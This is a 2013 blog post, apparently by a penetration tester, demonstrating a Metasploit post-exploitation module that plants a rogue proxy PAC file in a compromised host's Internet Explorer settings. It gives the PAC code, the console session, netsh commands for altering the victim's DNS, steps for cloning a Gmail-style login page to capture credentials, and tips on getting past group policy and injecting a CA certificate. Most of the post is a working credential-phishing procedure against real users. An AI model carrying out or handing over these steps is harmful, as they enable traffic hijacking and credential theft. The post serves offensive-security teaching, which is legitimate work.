Thursday, December 12, 2013

Metasploit: Controlling Internet Explorer user traffic through a proxy PAC file

We have several alternatives from our shell if we want to play with the DNS to control the victim traffic. A common method is to modify the file C:\WINDOWS\system32\drivers\etc\hosts to add fake entries. From Meterpreter, we can use the module inject_host.rb to facilitate this task. Another option would be to modify the host's DNS to point to our fakedns service with something like: 

C:\Windows\system32>netsh interface ip show interfaces
Índ     Mét         MTU         Estado              Nombre
---  ----------  ----------  ------------  ---------------------------
  1          50  4294967295  connected     Loopback Pseudo-Interface 1
 11          10        1500  connected     Conexión de área local

C:\Windows\system32>netsh interface ip set dns "Conexión de área local" static
C:\Windows\system32>ipconfig /all | findstr
   Servidores DNS. . . . . . . . . . . . . . :

or better yet, we can try to modify the DNS of the router itself if we have access to it (something similar to what Zlob trojan did). This would be great if the host gets its network configuration via DHCP.

These solutions have, however, some drawbacks in certain environments. For example, some AV would raise alerts if it detects suspicious changes in the host file. On the other hand, by changing the host's DNS may have no effect if the firewall/router blocks DNS requests from computers other than the internal DNS servers (as long as our fake DNS server is external).

As a complement to these methods I have made a small post-exploitation module for Meterpreter to configure a .PAC (Proxy Automatic Configuration) file with which we can fully control the Internet Explorer user traffic. These kind of files contain functions in JavaScript that allow us to choose, under specific criteria, which proxy must be used to access to certain URL; so although we're not really forging DNS packets we can get the same effect. Thanks to these features, it is not surprising that many bad guys have taken advantage of the PAC files in the last years to conduct phishing attacks. To see the possibilities as well as the functions that support this type of files, take a look here and here.

Let's see a practical example. To carry out our phishing attack I will use the following PAC file.:

function FindProxyForURL(url, host)
if (shExpMatch(host, "")) { 
 return "PROXY; DIRECT";
if (shExpMatch(host, "")) { 
 return "PROXY; DIRECT";
if (url.substring(0, 6) == "https:") {
 return "DIRECT";

So, the idea is to redirect the user to our fake proxy ( when he tries to access or With the HTTPS traffic we will do nothing, so the client will go "DIRECT" to the site.

To run the module you just have to indicate a local or remote PAC file (this will be less noisy as it will not write the PAC file to disk).

meterpreter > background 
[*] Backgrounding session 2...
msf exploit(handler) > use post/windows/manage/ie_proxypac
msf post(ie_proxypac) > set session 1
session => 1
msf post(ie_proxypac) > set local_pac /var/www/file.pac
local_pac => /var/www/file.pac
msf post(ie_proxypac) > show options

Module options (post/windows/manage/ie_proxypac):

   Name        Current Setting    Required  Description
   ----        ---------------    --------  -----------
   AUTO_DETECT    false                         no        Automatically detect settings.
   DISABLE_PROXY  false                          no        Disable the proxy server.
   LOCAL_PAC   /var/www/file.pac  no        Local PAC file.
   REMOTE_PAC                     no        Remote PAC file.
   SESSION     1                  yes       The session to run this module on.

msf post(ie_proxypac) > exploit
[*] Setting a local PAC file ...
[+] PAC proxy configuration file written to C:\Users\User\AppData\Roaming\EmdwpoYkTiZwQ.pac
[+] Proxy PAC enabled
[*] Post module execution completed
msf post(ie_proxypac) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getproxy
Auto-detect     : No
Auto config URL : file://C:\Documents and Settings\Test\Application Data\EmdwpoYkTiZwQ.pac
Proxy URL       : 
Proxy Bypass    : 

After running the module, the IE will be configured to use the local PAC file created.

To prepare our fake site, we will download the index.html page from the real

root@krypton:/var/www# wget -q
root@krypton:/var/www# ls
auth.html  file.pac  index.html

Then, we will modify the form action of index.html to point to a local html resource (auth.html) instead of "". This way the user will send the credential to us.

The auth.html will just redirect the user to the legitimate login page, thus we will make the attack more transparent.

root@krypton:/var/www# cat auth.html 
<meta http-equiv="refresh" content="0;URL=" />

If the user types now he will access to our fake site and after sending the credential to us he will be redirected to the original Gmail authentication page. To save the credentials you can simply setup Tshark or Tcpdump to record the HTTP traffic in a pcap file. Remember that you also have the post module inject_ca to insert an arbitrary CA certificate into the victim's Trusted Root store; this can be helpful to make a more sophisticated phishing attack.

The funny thing about this is that you don't need admin privs to change the proxy settings; better yet, even if you have a group policy that prevents modifying the proxy settings from the GUI you could bypass it since the changes are made by direct registry modification. @Scriptmonkey_ recently spoke about this in his blog (thanks to @Meatballs__ for the reference)

Here I leave a how-to video with the whole process:


  1. Muy buen ejemplo de como de forma simple nos la pueden "liar". Para cuando un ejemplo con inyección de CA para que sea más chulo, quiero regalarle un dron a mi chaval para reyes y lo necesito...

  2. This comment has been removed by a blog administrator.